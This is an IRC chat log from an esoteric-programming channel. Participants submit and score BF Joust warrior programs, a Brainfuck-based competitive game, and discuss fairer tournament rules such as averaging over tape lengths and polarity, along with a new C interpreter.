17:51:20 right 17:52:03 !bfjoust phantom (>-)*3(>+)*3(>)*3(+[-[++[---[++++[-----[++++++[-------[++++++++[---------[++++++++++]]]]]]]]]]>)*20 17:52:05 Score for ehird_phantom: 42.6 17:52:13 back to 42.6 17:52:28 5 losses, 3 wins, one draw 17:52:36 i think the strategy is essentially good, though 17:52:46 * ehird idea 17:54:40 !bfjoust phantom http://pastie.org/491591.txt?key=z90epgclqdxxiifgky728a 17:54:42 Score for ehird_phantom: 42.6 17:54:48 hahaha 17:54:51 that makes it worse 17:55:06 !bfjoust phantom (>-)*3(>+)*3(>)*3(+++++[-[++[---[++++[-----[++++++[-------[++++++++[---------[++++++++++]]]]]]]]]]>)*20 17:55:08 Score for ehird_phantom: 27.8 17:56:14 !bfjoust phantom (>-)*3(>+)*3(>)*3([-[(+)*2[(-)*3[(+)*4[(-)*5[(+)*6[(-)*7[(+)*8[(-)*9[(+)*10]]]]]]]]]]>)*20 17:56:16 Score for ehird_phantom: 36.4 17:56:20 this game is finicky 17:56:29 hmm doing it with repeats actually slowed it down 17:56:49 Patashu kept getting very different results by varying constants that didn't seem they should make that much difference 17:56:54 shrug 17:57:12 eh, the spec said repeats don't take any cycles 17:57:30 !bfjoust phantom (>)*9([(-)*32[(+)*32[(-)*32[(+)*32]]]])*20 17:57:32 Score for ehird_phantom: 36.4 17:57:33 just macros.. should be the same 17:57:36 unless it's randomness 17:57:39 * ehird crosses fingers 17:57:45 nescience: I probably mistyped 17:57:49 3 | - 0 0 - - - - - 0 | 8.0| -6| ehird_phantom.bfjoust 17:57:51 :D 17:58:58 !bfjoust phantom (>)*9([(-)*16[(+)*32[(-)*48]]][-])*20 17:59:00 Score for ehird_phantom: 8.0 17:59:14 !bfjoust phantom (>-)*3(>+)*3(>)*3(+++++[-[++[---[++++[-----[++++++[-------[++++++++[---------[++++++++++]]]]]]]]]]>)*20 17:59:16 Score for ehird_phantom: 8.0 17:59:17 stick to what works. 17:59:43 !bfjoust phantom >->->->+>+>+>>>(+++++[-[++[---[++++[-----[++++++[-------[++++++++[---------[++++++++++]]]]]]]]]]>)*20 17:59:45 Score for ehird_phantom: 33.5 17:59:51 wtf 17:59:59 gogo random! 18:00:03 nescience: the repeating one for the start got 33.5 18:00:06 but this one gets 20.4 18:00:07 !bfjoust phantom >->->->+>+>+>>>(+++++[-[++[---[++++[-----[++++++[-------[++++++++[---------[++++++++++]]]]]]]]]]>)*20 18:00:09 Score for ehird_phantom: 20.4 18:00:12 let's see if it's actually random 18:00:17 yep, it is 18:00:19 oh well 18:00:23 impomatic: viper? 18:00:27 look at 'playing the odds' 18:00:27 are you submitting stuff? do it in channel :-P 18:00:29 that's proof 18:00:44 i submitted it a couple times till i got a couple decent cached results 18:00:44 :P 18:00:53 nescience: that's called being a jerk 18:00:54 :) 18:00:55 this hill is too noisy for such fine tuning 18:01:09 if something was done to even out the randomness 18:01:18 say, multiple samples *ahem* like i was mentioning yesterday... :P 18:01:20 ehird: I didn't want to flood the channel ;-) 18:01:30 impomatic: but I don't notice new programs :-) 18:01:35 nescience: yeah I agree now. 18:01:36 i bet the max cycles probably doesn't need to be so high either 18:01:40 it does 18:01:44 defend6 needs it iirc 18:02:00 i don't know 18:02:07 i wonder how many cycles it'd take to complete at 30 cells 18:02:18 i'm sure someone can caluclate but i don't have the required consecutive time atm 18:02:22 or draw shortcutting at least 18:02:28 detecting two [] loops, for examle :P 18:02:41 or a [+] and [-] on the same cell 18:02:47 i have 21 programs here. they are provably optimum for their tape length. 18:02:50 should I submit them all? :P 18:03:02 Yes :-) 18:03:43 okie dokie 18:03:52 !bfjoust viper >--->+++>---(>->+)*3(-[-[-[-[-[-[-[-[-[-[+]]]]]]]]]]>)*20 18:03:54 Score for impomatic_viper: 42.0 18:04:23 !bfjoust bugger1 >>>>>>>>>--------------------------------------------------------------------------------------------------------------------------------[-] 18:04:24 !bfjoust bugger2 >>>>>>>>>>--------------------------------------------------------------------------------------------------------------------------------[-] 18:04:27 !bfjoust bugger3 >>>>>>>>>>>--------------------------------------------------------------------------------------------------------------------------------[-] 18:04:30 !bfjoust bugger4 >>>>>>>>>>>>--------------------------------------------------------------------------------------------------------------------------------[-] 18:04:33 !bfjoust bugger5 >>>>>>>>>>>>>--------------------------------------------------------------------------------------------------------------------------------[-] 18:04:34 !bfjoust ferret >(-)*9>(+)*9>---(>->+)*3((-)*10[+]>)*20 18:04:35 Score for impomatic_ferret: 66.0 18:04:36 !bfjoust bugger6 >>>>>>>>>>>>>>--------------------------------------------------------------------------------------------------------------------------------[-] 18:04:37 ...lol wut 18:04:39 !bfjoust bugger7 >>>>>>>>>>>>>>>--------------------------------------------------------------------------------------------------------------------------------[-] 18:04:42 !bfjoust bugger8 >>>>>>>>>>>>>>>>--------------------------------------------------------------------------------------------------------------------------------[-] 18:04:45 !bfjoust bugger9 >>>>>>>>>>>>>>>>>--------------------------------------------------------------------------------------------------------------------------------[-] 18:04:48 !bfjoust bugger10 >>>>>>>>>>>>>>>>>>--------------------------------------------------------------------------------------------------------------------------------[-] 18:04:48 what'd you say about being a dick? :P 18:04:51 !bfjoust bugger11 >>>>>>>>>>>>>>>>>>>--------------------------------------------------------------------------------------------------------------------------------[-] 18:04:54 !bfjoust bugger12 >>>>>>>>>>>>>>>>>>>>--------------------------------------------------------------------------------------------------------------------------------[-] 18:04:57 !bfjoust bugger13 >>>>>>>>>>>>>>>>>>>>>--------------------------------------------------------------------------------------------------------------------------------[-] 18:05:00 !bfjoust bugger14 >>>>>>>>>>>>>>>>>>>>>>--------------------------------------------------------------------------------------------------------------------------------[-] 18:05:03 !bfjoust bugger15 >>>>>>>>>>>>>>>>>>>>>>>--------------------------------------------------------------------------------------------------------------------------------[-] 18:05:06 !bfjoust bugger16 >>>>>>>>>>>>>>>>>>>>>>>>--------------------------------------------------------------------------------------------------------------------------------[-] 18:05:09 !bfjoust bugger17 >>>>>>>>>>>>>>>>>>>>>>>>>--------------------------------------------------------------------------------------------------------------------------------[-] 18:05:12 !bfjoust bugger18 >>>>>>>>>>>>>>>>>>>>>>>>>>--------------------------------------------------------------------------------------------------------------------------------[-] 18:05:15 !bfjoust bugger19 >>>>>>>>>>>>>>>>>>>>>>>>>>>--------------------------------------------------------------------------------------------------------------------------------[-] 18:05:18 !bfjoust bugger20 >>>>>>>>>>>>>>>>>>>>>>>>>>>>--------------------------------------------------------------------------------------------------------------------------------[-] 18:05:21 !bfjoust bugger21 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>--------------------------------------------------------------------------------------------------------------------------------[-] 18:05:26 nescience: impomatic told me to :) 18:05:50 * ehird twiddles thumbs and waits for the report to update 18:06:06 poor bot 18:06:36 DOO DOO DOO DOO DEE DAA DOO DOO DOOOOOOO 18:06:39 * ehird pokes EgoBot 18:06:58 nescience: technically, I have to submit them all infinite times to be sure of their tape lengths being correct 18:07:02 since it's random 18:07:09 so they'll probably all do awfully 18:07:30 indeed 18:07:47 BUT DAT'S OKAY 18:07:55 * ehird kicks EgoBot 18:07:57 Score for ehird_bugger4: 22.4 18:07:57 Score for ehird_bugger19: 5.7 18:07:57 Score for ehird_bugger11: 18.3 18:07:57 Score for ehird_bugger3: 40.9 18:07:57 Score for ehird_bugger10: 4.8 18:07:58 Score for ehird_bugger21: 5.3 18:08:00 Score for ehird_bugger16: 7.4 18:08:02 Score for ehird_bugger20: 0.0 18:08:04 Score for ehird_bugger1: 29.4 18:08:04 40.9 for bugger3? 18:08:06 Score for ehird_bugger13: 8.1 18:08:08 Score for ehird_bugger17: 12.1 18:08:09 That's pretty good, like. 18:08:10 Score for ehird_bugger14: 6.9 18:08:11 Guess I got lucky. 18:08:12 Score for ehird_bugger8: 12.5 18:08:14 Score for ehird_bugger12: 8.3 18:08:16 Score for ehird_bugger15: 3.7 18:08:18 Score for ehird_bugger9: 12.6 18:08:20 Score for ehird_bugger18: 4.7 18:08:20 nescience: look at the report 18:08:22 Score for ehird_bugger7: 18.8 18:08:22 quick 18:08:24 Score for ehird_bugger6: 21.1 18:08:24 before it trims them 18:08:26 Score for ehird_bugger2: 42.2 18:08:27 Yeah, lucky score :-) 18:08:27 http://codu.org/eso/bfjoust/report.txt 18:08:28 Score for ehird_bugger5: 25.2 18:08:31 hahaha 18:08:32 it's huge 18:08:42 :D 18:08:43 they're all there 18:08:44 haha 18:08:45 nice 18:08:57 2343.678ehird_defend6_a_parody_or_just_plain_ripoff_question_mark.bfjoust 18:08:57 1342.1710ehird_bugger2.bfjoust 18:09:05 i'd say that's pretty good! 18:09:15 huh creep only has 4 losses now 18:09:19 nescience: haha 18:09:23 the power of buggery 18:09:39 but ferret is at the top :P 18:09:42 impomatic: is your ferret designed to be anti-bugger? 18:10:01 i don't think anything can be anti-bugger 18:10:13 nescience: it can, though 18:10:18 it only decrements 128 times, then [-]s 18:10:22 so, if you set your flag to 255 18:10:27 it has to loop 128 iterations 18:10:33 ofc, it'll still *win* 18:10:35 it'll just win slower 18:10:41 Yes, I starting coding when you'd pasted the first two. Didn't take long. 18:10:43 but correct, there is no way to actually beat it 18:10:48 i dunno how buggers do with themselves 18:10:54 ah 18:10:56 they win at the same time 18:10:57 cute 18:10:59 = draw 18:11:05 impomatic: how does yours work? 18:11:25 nescience: note - this is in the ideal case, when their tape length is the expected one 18:11:39 not that many got that 18:11:40 if any even did 18:11:57 nescience: in every other case, they just either: run right off the tape, or decrement a random cell 18:12:09 nescience: I assume ferret sets a bunch of cells 18:12:11 and then keeps them up 18:12:14 so that it [-]s forever 18:12:19 on a non-flag 18:13:10 ehird: just the usual build a decoy the go to the other end of the tape and start zeroing stuff 18:13:14 right 18:14:12 impomatic: submit ferret once more 18:14:14 well it doesn't really matter 18:14:19 and it'll trim most of them 18:14:20 unless the tape length is correct they lose 18:14:32 nescience: not if the other opponent suicides 18:14:52 impomatic: it only leaves a lot of >10/11 challengers if they're submitted at once 18:14:52 true enough i guess 18:14:55 if you add ferret, it'll trim 18:15:53 !bfjoust shadow (>(-)*9)*2(>-)*7(>(+)*10[-])*20 18:15:59 Score for impomatic_shadow: 58.0 18:16:13 tada 18:16:15 they're all gone 18:16:24 and parody rises once ore 18:20:58 laugh 18:21:08 -!- Corun has changed nick to Corun|away. 18:21:22 -!- Corun|away has changed nick to Corun. 18:21:56 -!- impomatic has left (?). 18:23:58 -!- AnMaster has quit (Connection timed out). 18:29:19 it's really hard to read which number is which warrior 18:29:39 and the numbers change because of the case sorting, too 18:29:57 what's the chance of reiterating the numbers immediately to the left of the warrior names or something? 18:30:28 would be nice 18:30:50 nescience: i think I'm just going to make my own variant instead of waiting for these to change :) 18:31:03 do you think I should have + or -? i.e. which? 18:32:27 it doesn't really matter 18:32:30 if you have to pick one, i mean 18:32:40 i was asking purely on aesthetic concerns :) 18:32:46 aha 18:32:51 i like - better! 18:32:52 - seems right 18:32:55 it looks like arrows ------> 18:32:57 CHARGE! 18:32:59 as the main objective is to deplete your opponents flag 18:33:03 nescience: haha 18:33:11 »»». 18:33:32 arrows or ... jesus, i can't think of the name of the things you joust with! 18:33:40 jousting sticks! 18:33:58 * pikhq should create a Brainfuck variant that uses », ›, and > for different things 18:34:07 nescience: ok: < move pointer closer to my flag > move pointer closer to their flag - decrease cell at pointer [ jump after matching closer if cell=0 ] jump after matching opener if cell!=0 . nop 18:34:36 lol jousting sticks 18:34:37 nescience: i think flags should start at 255 18:34:44 they only start at 128 in joust to make +/- not have an advantage 18:34:49 correct 18:35:01 but if you restrict it to only - it becomes about half as interesting 18:35:25 nescience: no, I think - vs + is boring. see defend6 vs parody 18:35:32 and my flipping of one of impomatics' did it to 18:35:33 o 18:35:36 it just makes it too trivial 18:35:40 as programs become tailored to one 18:35:44 and flipping them decimates them 18:36:17 rather, it means that nobody has got to the point where they write programs to take account of both polarities for example :P 18:36:22 lance! 18:36:24 that's the word i wanted 18:36:36 if you want to talk about trivial, what exactly are you going to write a program to do that only decrements? 18:36:46 nescience: doesn't rushpolarity take into account that? 18:36:54 i'm just not convinced it's an interesting aspect 18:37:19 * nescience shrugs 18:37:29 nescience: then how about thingy's idea 18:37:35 the polarity is flipped or not randomly before execution 18:37:37 actually, wait 18:37:40 same as with tape lengths 18:37:46 we do it for all (tape length,polarity) combinations 18:37:51 and take the mean 18:38:03 i'm going to write it in C, so it should be fast enough for that 18:38:09 nescience: sound good? 18:38:11 that's a possibility 18:38:32 i'm not sure how i feel about that, but it would at least get rid of the "swap the signs" bit 18:38:50 i guess it is true that you'll get the same program if you swap them 18:39:22 nescience: it forces you to take in account polarity, still 18:39:25 without being able to just swap things 18:40:16 i don't think so 18:40:26 well, i guess i see what you mean 18:40:33 in that you still can benefit from "figuring out" which way to go 18:40:54 lifthrasiir: ehm, so north korea just said they're going to nuke the shit out of your country 18:40:58 try not to die 18:41:12 nescience: yeah 18:41:18 nescience: you have to handle both +ers and -ers 18:46:50 -!- jix has joined. 18:47:38 nescience: definitely, though, randomness is the bad 18:54:57 -!- AnMaster has joined. 18:57:50 -!- jix_ has quit (Read error: 110 (Connection timed out)). 19:08:46 -!- KingOfKarlsruhe has joined. 19:10:36 -!- sebbu2 has joined. 19:15:46 OK, it's implementation time. 19:16:07 that's totally out of character for them 19:16:12 don't koreans play zerg?! 19:16:26 BADUM TISH! 19:18:27 OK, it's implementation time. <-- of what 19:18:44 (as you can see above I was disconnected) 19:18:44 AnMaster: ~20 lines up. 19:18:54 http://tunes.org/~nef/logs/esoteric/09.05.27 19:18:56 You're welcome. 19:20:07 ehird, a language based on magnetic tape? 19:20:17 ... 19:20:37 ehird, from reading ~20 lines up in the log :P 19:20:47 Mmmmmmmmmmmmmmmmmmmmyeeeeeeeeeeeeeeeeeeeno. 19:22:59 nescience: how many cycles do you think I should allow? 19:24:36 -!- sebbu has quit (Success). 19:25:19 ehird, theory 2: a variant of bfjoust 19:25:27 * ehird clap. clap. clap 19:25:33 You found the page up button! 19:25:49 -!- ais523 has joined. 19:25:53 hi ais523 19:25:56 hello ais523 19:26:03 I'm plotting revolution by writing a better bf joust ;) 19:26:06 hello ehird, AnMaster 19:26:11 ehird: as in, better rules, or better interp? 19:26:14 ais523: both 19:26:16 the interp can definitely be improved 19:26:29 it's varying randomly according to tape length [implementation issue], just flipping +/- can change the hill wildly [design issue] 19:26:35 but if you want to improve the rules, /please/ do it a different way from zzo38 19:26:36 and it's really slow [implementation] 19:26:53 for the former, run all tape lengths and take the average (requires fixing #3) 19:27:02 for the latter, add another variable: is_plus_and_minus_flipped 19:27:05 and do the solution to #1 for it too 19:27:09 oh, ok 19:27:13 for the latter latter, write it in C and make it superfast 19:27:14 so you aren't changing the language rules, but the tournament rules 19:27:19 I agree with you on that 19:27:23 ais523: well, the flipping +/- thing 19:27:35 either you randomly flip one program, or you don't 19:27:36 means that you can't just rip off someone else's program, flip +/- and dominate the hill 19:27:41 ais523: actually, no 19:27:45 well, yes 19:27:48 ais523: but not randomly 19:27:53 ais523: just like how you try all tape lengths and take the averag 19:27:54 e 19:27:54 do both 19:27:58 exactly 19:28:05 try every combination, take the average score 19:28:13 that means the same program will always have the same score 19:28:55 ais523: how did zzo do it? 19:29:25 ehird: having , read from the opponent's . output 19:29:28 and a couple of other dubious changes 19:29:38 ais523: that change is very zzo 19:29:41 link to his variant? 19:29:47 ehird: http://esolangs.org/wiki/Talk:BF_Joust 19:29:57 grr, wiki seems to be slow 19:30:09 ais523: btw, you know how it has to stay 0 for two cycles? 19:30:12 yes 19:30:21 that means that [-] works if it isn't tampered with. [-]-]-]-(it's zero)](two cycles) 19:30:23 is that intentional? 19:30:27 i suppose so 19:30:33 but it was unintuitive to me at first 19:30:36 and I did [-]. 19:30:38 not quite, but when I noticed I realised it was correct, so didn't change it 19:30:39 (with the dot) 19:30:48 Safari can’t open the page “http://esolangs.org/wiki/Talk:BF_Joust” because the server unexpectedly dropped the connection. This sometimes occurs when the server is busy. Wait for a few minutes, and then try again. 19:30:52 * pikhq observes that [-]-] is an infinite loop 19:31:00 pikhq: not in BF Joust 19:31:11 pikhq: i'm counting cycles 19:31:11 ... WTF? 19:31:15 there is no way to write a definitively 100% infinite loop in BF Joust 19:31:18 [-] runs [-]-]-]-]-]-]-] 19:31:23 pikhq: not program 19:31:24 cycles 19:31:27 because the data on the tape might change due to the opponent messing with it 19:31:32 [ ticks, - ticks, ] ticks, - ticks, ] ticks 19:31:33 etc 19:31:40 also, what ais523 said 19:31:48 ais523: [[In case of a draw, figure out who would have lost using the old rule that whoever's flag is zero loses immediately (and determine the winner according to this rule). ]] 19:31:50 ok, that's just ridiculous 19:31:55 [[If both programs have ended and neither player's flag is zero, then both programs shall restart from the beginning with the tape pointer pointing to their own flag again like it was at the start, but using the current values on the tape instead of resetting them to zero. ]] 19:31:57 so's that 19:32:02 all of them are ridiculous :) 19:32:06 agreed 19:32:15 ais523: how could you even use ,/. 19:32:18 you couldn't use it to your advantage 19:32:22 because your opponent would always lie 19:32:30 ehird: I don't think they'd even be lying 19:32:34 oh? 19:32:41 given that there's no information as to what the random stream of data means anyway 19:32:45 true 19:32:55 it's like, if I say 6 202 34, am I lying? 19:33:03 ais523: Mu 19:33:20 [[[ and ] should take the value on the tape *after* the opponent has (potentially) modified it.] 19:33:21 ] 19:33:26 ais523: does it do it before modification? 19:33:30 atm, yes 19:33:30 two opcodes running at once is sticky 19:33:34 it takes the value at the start of the cycle 19:33:37 hmm 19:33:53 I experimented with before and after 19:34:00 ais523: ah, and before worked better? 19:34:07 and decided that although it made a difference, it didn't fundamentally change the nature of things 19:34:12 so left it where Kerim had it 19:34:23 http://esolangs.org/w/index.php?title=Byte_Syze&curid=2347&diff=14541&oldid=14540 19:34:26 lol wat 19:34:31 !bfjoust foo .[+.] 19:34:37 Score for pikhq_foo: 17.5 19:34:41 pikhq: that's just a suicider 19:34:43 a slow one at that 19:34:48 well, not always 19:34:52 Seems to be effective. 19:34:58 but I don't think any program will try and give your flag viagra— what? 19:35:00 How is that effective? 19:35:11 It has a positive score. :p 19:35:12 if we weren't caching scores, the top program gets ~85pts 19:35:16 pikhq: all scores are positive 19:35:17 pikhq: we changed the scoring 19:35:19 points are negative 19:35:21 scores not 19:35:21 Oh. 19:35:25 50% is average, 0% is terrible, 100% is perfect 19:35:49 ais523: i submitted (>)*N(-)*128[-] (but manually expanded) for all possible tape lengths today 19:35:54 !bfjoust [>+] 19:35:54 one even got ~40-something 19:35:55 Use: !bfjoust 19:35:57 :-D 19:36:01 Erm. 19:36:03 !bfjoust foo [>+] 19:36:04 Score for pikhq_foo: 20.5 19:36:04 ais523: also, btw 19:36:08 if you resubmit a program 19:36:10 you get its last score 19:36:15 you have to look at the report to get the proper one 19:36:15 another bug? 19:36:18 yep 19:36:21 ah, ok 19:36:23 ais523: why do you think i'm writing my own :) 19:36:31 ais523: also, well, taking the value at the start requires copying 19:36:33 doesn't it? 19:36:35 well 19:36:39 i guess no 19:36:39 since 19:36:42 with after-modification 19:36:45 you have to wait for your opponent 19:36:48 which is just as much fuss 19:36:54 it only requires copying for one of the programs 19:36:58 and it's as much fuss both ways round 19:37:08 yep 19:37:15 you could order the execution of the programs inside the interp in the way that avoids copying, but that's even fussier in other ways 19:38:28 ais523: do you think I should keep the 20k max cycles? 19:38:46 that's about right 19:38:50 it may take 3s to execute one combination for 20k cycles in your perl interp, but it'll probably be on the order of milliseconds for mine :) 19:38:51 I determined that number via experiment 19:39:04 as in, if you make it much lower, valid programs start drawing rather than winning 19:39:11 but then we have the reverse polarity 19:39:13 which is 3-bits: 19:39:19 0 (no flip), 1 (flip left), 2 (flip right) 19:39:22 hmm 19:39:28 is that 20**3 for the tape lengths and polarity 19:39:31 or 3**20? 19:39:33 20**3, I think 19:39:58 ais523: hm, oh dear 19:40:07 for all tape length combinations, and the three polarity states, 19:40:16 why three polarities? 19:40:16 ais523: is 8000 executions per (prog1,prog2) 19:40:18 you only need two 19:40:21 also 19:40:24 ais523: no i don't 19:40:25 no flip, 19:40:25 because flipping either program has the same effect 19:40:30 er, are you sure? 19:40:31 and flipping both has the same effect as flipping neither 19:40:31 always? 19:40:44 ehird: the values at the start are either 128 or 0 19:40:46 hmm, i'll take your word for the left-is-right 19:40:53 ais523: yeah, you're right 19:40:55 ais523: but... 19:40:58 which of left/right should I flip? 19:41:00 i don't wanna be biased :D 19:41:05 it makes no difference to the result 19:41:18 0 = no flip, 1 = flip, the 19:41:18 n 19:41:36 and you need 20 * 2 (no exponentiation) 19:41:39 well, 21 * 2 19:41:44 oh, heh 19:41:47 each of the 21 possible lengths in each of the 2 flip states 19:41:55 i'll finish the message I was typing anyway: 19:42:00 ais523: well, that's good; with 3 flip states, I have to run the match 8000 times— so if I take 25ms to run one iteration, that's 200 seconds! 19:42:02 ↑ disclaimer: wrong 19:42:45 200 seconds would be a bit slower than it currently is; OTOH, you'd have a fairer tournament 19:42:47 ais523: OK, if I take 25ms to run one iteration (reasonable, I think) and do all 21 tape lengths, and have 2 polarity states, a match will take 1.05 seconds 19:42:58 a full complete matchup of (prog1,prog2) 19:43:33 ais523: err, for 10 programs, you have how many pairs of (prog1,prog2)? my brain is in coding mode atm... 19:44:12 (10*9)/2 = 45 19:45:00 ais523: so, assuming I do no caching whatsoever, and have a 10-length hill (one less than the current hill; it's 0-10, I guess as a mistake) then it'd take 47.25 seconds to run all matches 19:45:08 fairly and deterministically, on every combination of tape length/polarity 19:45:10 that's not bad at all 19:45:14 and with some caching.. 19:45:16 *... 19:45:39 with some caching, you only need to run the 9 matches involving the current challenger 19:45:42 but I don't think that is a mistake 19:45:50 the hill atm is 10 returning programs, plus 1 newbie 19:45:54 ah 19:45:56 that makes sense 19:46:31 ais523: so 51.45 seconds then 19:46:33 + caching 19:46:47 ais523: 9.45 seconds, then, with caching 19:46:51 for a challenger 19:46:58 ais523: hmm... do you think 25ms for a match is over or underestimating? 19:47:00 i'm not sure 19:47:02 are you going to pre-expand programs? or expand on the fly to save memory? 19:47:13 some of them are likely to get very long with abbreviations removed 19:47:27 ais523: i don't care about memory usag 19:47:27 e 19:47:33 ais523: how long's defend6 expanded? 19:47:39 not more than a few kilobytes, I'd wager 19:48:02 yep, defend5 is possibly quite long though 19:48:20 ais523: megabytes? 19:48:28 codu.org runs on a VPS with 1GB of RAM 19:48:30 probably not 19:48:37 i'm sure a few megabytes is just fine 19:48:50 but the reason I didn't expand is that the way I programmed my interp, I'm O(n) below the optimum 19:48:59 so it's like I wrote a Mathematica program rather than a C program 19:49:10 you can make each cycle run in O(1) time, though, so the length of the program isn't an issue 19:49:26 ais523: I'm probably going to have a trivial optimization step 19:49:31 ++++++++++++++++++ -> +*foo 19:49:33 nothing fancy at all 19:49:40 although, wait 19:49:44 ais523: you know your (x)*foo thing? 19:49:47 it doesn't change cycles, does it? 19:49:47 yes 19:49:50 and no 19:49:51 you said it makes the program "run faster" 19:49:53 it's strictly abbreviations 19:49:55 i guess that's just interp time 19:49:57 it makes the interp run faster 19:49:59 ais523: ok, I won't do any optimization at all 19:50:01 in realtime 19:50:03 it's simplest 19:50:09 rather than the program in gametime 19:50:11 after all, a cycle will probably take a fraction of a millisecond 19:52:25 okay then, time to write the interpreter loop 19:54:33 ais523: are you sure, by the way, that 20 is a good variation in tape length? 19:54:37 I would go for 10 max 19:54:42 otherwise, strategies are too unpredictable 19:55:00 IMO tape length variation should just stop the lame strategy of (>)*constant mwahaha i'm at the opponent's flag! 19:55:08 ehird: I was wondering about that 19:55:20 I definitely want to keep the tape length shorter than 32 19:55:25 and I wanted the chance of a very short tape 19:55:34 but maybe 10-20, or even 10-15, would be a better variation 19:55:38 ais523: also, with the averaging of tape lengths I'm doing, there doesn't need to be enoguh variation 19:55:43 ais523: I'd go for 15-25 19:55:53 15 is just long enough to not be stuffy 19:56:01 and 25 is just short enough not to be massive 19:56:12 the idea is that an aggressive program starting >>>>>>>>>>> should be able to arrive before the opponent completes a complex decoy 19:56:15 at least some of the time 19:56:40 eh, I'll just keep 10-30 19:56:58 ais523: btw, how come it's 21 possibilities? 19:57:04 10-30 inclusive 19:57:17 oh, ofc 19:57:23 #define MAX_CYCLES 20000 19:57:23 #define MIN_TAPE_LENGTH 10 19:57:25 #define MAX_TAPE_LENGTH 30 19:57:27 configurability! 19:58:20 ais523: is \0 a valid char? :P 19:58:36 ehird: if it were, it would be a comment 19:58:43 I'd say that if you encounter a \0, treat it as a comment 19:58:50 but don't expend effort to make sure it doesn't get eaten before then 19:58:51 ais523: C byte arrays, yo. 19:59:05 I'll just let it be the end of the string like normal, nobody's gonna use it. 19:59:11 or you can just strip out the \0s when loading the program, if oy ucare 19:59:13 *you care 19:59:23 not particularly 19:59:37 ais523: how many nested loops do you think there might be? 19:59:48 defend5 has several thousand 19:59:55 using a ({})% expansion 19:59:56 ais523: hmm 20:00:04 ais523: is the C stack that big, d'you think? :) 20:00:13 probably, it depends on your OS 20:00:22 on Windows, the default stack is exactly 1 MiB, I think 20:00:25 * ehird runs a simple test program 20:00:26 I'm not sure what it is on Linux 20:03:24 * ehird runs stack-user 20:03:33 ais523: on OS X, it's many millions so far 20:04:23 hmm 20:04:30 maybe gcc removed the tail recursion 20:04:32 * ehird uses the result to make sure 20:04:34 How about running 'ulimit -s'? 20:04:59 8192, which is surprisingly small. But Deewiant, I want to know how many calls, on average. 20:05:03 Not the actual size. 20:05:14 Just find out the size of your stack frame? 20:05:19 How boring 20:05:24 Also, that's in kilobytes 20:05:28 So it's 8x the Windows size. 20:05:43 yes 20:06:08 ais523: does lostkng have more nesting than defend5, do you think? 20:06:16 also, 20:06:16 probably not 20:06:17 943219 20:06:17 zsh: segmentation fault ./lance 20:06:20 int stack_size(int i) 20:06:21 { 20:06:23 int foo = i; 20:06:25 printf("%i\n", foo); 20:06:27 return foo + stack_size(i+1); 20:06:29 } 20:06:31 so I should be fine 20:06:45 lostkng doesn't seem to nest deeply 20:06:47 261842 stack calls on my system. 20:07:01 ais523: lostkng's bundled interp uses recursion to parse loops, y'see 20:07:04 I'm just wondering if that's wise 20:07:09 gcc-bf nests a lot more, it's a bit deeper than 256 20:07:15 wait, 256*3 20:07:18 on a sufficiently long program 20:07:24 because it uses nested loops to do switch statements 20:08:02 Millions and counting with -Os. 20:08:28 pikhq: it may have optimized it into a loop 20:08:38 * pikhq will laugh if it craps out at INTMAX. 20:08:54 ehird: I bet it did at this rate. 20:09:10 i suppose the loop's smaller than the recursion 20:09:22 * pikhq does -S and looks at the generated assembly 20:09:48 Hmm. 20:10:08 ais523: going through an array's likely to be more efficient than traversing a linked list, isn't it? 20:10:21 (I'm thinking about speed upfront because of the large number of combinations I have to run each program through) 20:10:33 hmm, let me think 20:10:38 It got optimized into a silly loop. 20:10:40 they're both O(1) 20:10:52 ais523: not efficiency, speed 20:10:56 pikhq: heh, translate the loop to C? 20:10:57 so it depends on the individual opcodes 20:10:59 *to C 20:11:12 ais523: well, I'm thinking about, e.g. the cache 20:11:13 taking the next list element involves dereferencing a pointer 20:11:19 ais523: a linked list won't be together in memory 20:11:26 so jumps will be further away 20:11:27 ehird: could be, depending on how it's allocated 20:11:29 an array is all clumped together 20:11:32 but it's going to take up more memory 20:11:34 ais523: could be, but isn't guaranteed to be 20:11:36 so less will fit in the cache 20:11:38 that also 20:11:40 so I suspect the array will be faster 20:11:56 void stack_test(int i){while(1)printf("%i", i++);} 20:12:08 also, you can use a posix_foo function to tell the memory manager that you're about to read a load of memory sequentially 20:12:14 pikhq: that doesn't include a return value 20:12:21 which is what I did to attempt to force some recursion 20:12:21 maybe even vectorise it! 20:12:26 ais523: hahahahahano. 20:12:27 Ahah. 20:12:33 _posix_fadvise 20:12:41 yeah without a _ 20:12:42 whatever :P 20:14:24 hmm 20:14:35 * ehird thinks of names for + and - that don't relate to adding and subtracting, due to polarity issues 20:14:40 dink and donk‽ 20:14:52 clockwise and anticlockwise 20:15:06 ais523: but... that doesn't even make any sense :D 20:15:11 it does 20:15:16 because it's using modular arithmetic 20:15:19 heh 20:15:22 the numbers form a circle, not a numberline 20:15:27 [+]--+- "Loop dink end loop donk donk dink donk" 20:15:37 ais523: but if they're flipped, it'll be anticlockwise and clockwise 20:15:43 I want them to not require flipping when...flipped 20:15:47 as it's not flipping, just two different views 20:15:48 equal 20:17:21 ais523: no? 20:17:51 well, clockwise/anticlockwise depends on which end of the tape you're looking from 20:18:00 true. 20:18:04 but the problem is, with one polarity, one program's dink will be the other program's donk 20:18:11 with the other, they'll both dink the same way 20:18:12 ais523: nope, wrong 20:18:16 dink doesn't mean any particular way 20:18:17 it just means dink 20:18:18 same with donk 20:18:21 ehird: agreed 20:18:24 add, however, is presumably adding 20:18:27 but are you altering the programs when altering the polarity? 20:18:28 which would be false under other polarities 20:18:30 ais523: nope 20:18:38 ais523: the point is, it's defined as: 20:18:47 ehird: well, either one program's dink cancels out the other program's donk, or it doesn't 20:18:52 + If polarity is floob, increment. If polarity is boolf, decrement. 20:18:54 in one polarity, it does; in the other; it doesn't 20:18:58 so it's always dink/donk 20:19:29 the point is, changing the polarity has to reverse the meanings of +/- for exactly one program 20:19:45 ais523: the meanings don't change 20:19:51 the definitions of the operations change 20:20:00 well, ok 20:20:01 ais523: that's like saying that the meaning of [ is reversed if the cell is zero 20:20:06 reverse the definitions for exactly one program 20:20:07 it's not; that check is part of the operation and doesn't change 20:20:14 no definition, meaning or anything 20:20:21 just a conditional in its definition always evaluates one w ay 20:20:22 *way 20:21:15 ok 20:21:26 just bear in mind, that with one polarity, dink in program 1 will do the same thing as dink in program 2 20:21:33 yes 20:21:35 with the other polarity, dink in program 1 will do the same thing as donk in program 2 20:21:40 ais523: i'm really just trying to be nice to the names dink/donk as they sound funny 20:21:43 ok 20:21:55 you may end up convincing me to use clockwise/counterclockwise instead, though :P 20:22:01 